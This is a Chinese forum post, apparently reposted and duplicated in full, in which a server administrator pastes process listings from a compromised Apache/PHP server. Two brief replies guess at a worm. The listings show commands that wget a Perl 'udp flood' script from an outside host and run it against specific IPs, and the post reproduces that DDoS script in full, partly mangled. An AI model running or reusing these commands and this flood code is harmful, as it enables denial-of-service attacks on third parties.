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来源: 互联网 发布时间:2016-02-11
本文导语: 系统:centos4 apache2.2.6+php4.4.7 ps -axuf 查看: root 4826 0.0 0.1 11372 4932 ? Ss Sep11 0:07 /usr/local/httpd/bin/httpd -k start nobody 18607 0.0 0.1 12240 5204 ? S 07:55 0:01 _ ...
系统:centos4 apache2.2.6+php4.4.7
ps -axuf 查看:
root 4826 0.0 0.1 11372 4932 ? Ss Sep11 0:07 /usr/local/httpd/bin/httpd -k start
nobody 18607 0.0 0.1 12240 5204 ? S 07:55 0:01 _ /usr/local/httpd/bin/httpd -k start
nobody 18730 0.0 0.0 6312 1060 ? S 08:24 0:00 | _ sh -c cd /tmp;./udp.pl 200.149.101.147 53 200
nobody 18731 100 0.0 7172 2212 ? R 08:24 46:24 | _ /usr/bin/perl ./udp.pl 200.149.101.147 53 200
nobody 18612 0.0 0.1 12232 5188 ? S 07:55 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18714 0.0 0.0 6092 1060 ? S 08:23 0:00 | _ sh -c cd /tmp;wget bym.t35.com/ddos/udp.pl;chmod 777 u
nobody 18715 0.0 0.0 7460 1604 ? S 08:23 0:00 | _ wget bym.t35.com/ddos/udp.pl
nobody 18642 0.0 0.1 12304 5180 ? S 08:08 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18646 0.0 0.0 6388 1060 ? S 08:11 0:00 | _ sh -c cd /tmp;wget http://bym.t35.com/ddos/udp.pl
nobody 18647 0.0 0.0 7508 1608 ? S 08:11 0:00 | _ wget http://bym.t35.com/ddos/udp.pl
nobody 18655 0.0 0.1 12356 5188 ? S 08:12 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18686 0.0 0.0 7240 1056 ? S 08:15 0:00 | _ sh -c cd /tmp;perl udp.pl 200.149.101.148 80 500
nobody 18687 99.8 0.0 7544 2212 ? R 08:15 54:58 | _ perl udp.pl 200.149.101.148 80 500
nobody 18695 0.0 0.1 12356 5180 ? S 08:18 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18712 0.0 0.0 6460 1060 ? S 08:22 0:00 | _ sh -c cd /tmp;wget bym.t35.com/ddos/udp.pl;chmod 777 u
nobody 18713 0.0 0.0 8624 1588 ? S 08:22 0:00 | _ wget bym.t35.com/ddos/udp.pl
在tmp 目录下面有 udp.pl文件,内容如下:
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 n";
printf "if arg1/2 =0, randports/continous packets.n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odixn";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (; {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (; {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
大家帮忙看看
什么原因阿?刚开始以为是php和apache得版本太低,昨天刚升级到最新版本,还是这样!
ps -axuf 查看:
root 4826 0.0 0.1 11372 4932 ? Ss Sep11 0:07 /usr/local/httpd/bin/httpd -k start
nobody 18607 0.0 0.1 12240 5204 ? S 07:55 0:01 _ /usr/local/httpd/bin/httpd -k start
nobody 18730 0.0 0.0 6312 1060 ? S 08:24 0:00 | _ sh -c cd /tmp;./udp.pl 200.149.101.147 53 200
nobody 18731 100 0.0 7172 2212 ? R 08:24 46:24 | _ /usr/bin/perl ./udp.pl 200.149.101.147 53 200
nobody 18612 0.0 0.1 12232 5188 ? S 07:55 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18714 0.0 0.0 6092 1060 ? S 08:23 0:00 | _ sh -c cd /tmp;wget bym.t35.com/ddos/udp.pl;chmod 777 u
nobody 18715 0.0 0.0 7460 1604 ? S 08:23 0:00 | _ wget bym.t35.com/ddos/udp.pl
nobody 18642 0.0 0.1 12304 5180 ? S 08:08 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18646 0.0 0.0 6388 1060 ? S 08:11 0:00 | _ sh -c cd /tmp;wget http://bym.t35.com/ddos/udp.pl
nobody 18647 0.0 0.0 7508 1608 ? S 08:11 0:00 | _ wget http://bym.t35.com/ddos/udp.pl
nobody 18655 0.0 0.1 12356 5188 ? S 08:12 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18686 0.0 0.0 7240 1056 ? S 08:15 0:00 | _ sh -c cd /tmp;perl udp.pl 200.149.101.148 80 500
nobody 18687 99.8 0.0 7544 2212 ? R 08:15 54:58 | _ perl udp.pl 200.149.101.148 80 500
nobody 18695 0.0 0.1 12356 5180 ? S 08:18 0:00 _ /usr/local/httpd/bin/httpd -k start
nobody 18712 0.0 0.0 6460 1060 ? S 08:22 0:00 | _ sh -c cd /tmp;wget bym.t35.com/ddos/udp.pl;chmod 777 u
nobody 18713 0.0 0.0 8624 1588 ? S 08:22 0:00 | _ wget bym.t35.com/ddos/udp.pl
在tmp 目录下面有 udp.pl文件,内容如下:
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 n";
printf "if arg1/2 =0, randports/continous packets.n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odixn";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (; {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (; {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
大家帮忙看看
什么原因阿?刚开始以为是php和apache得版本太低,昨天刚升级到最新版本,还是这样!
|
有病毒的特点。
|
像是蠕虫吧?从你的WEB应用上窜进来的?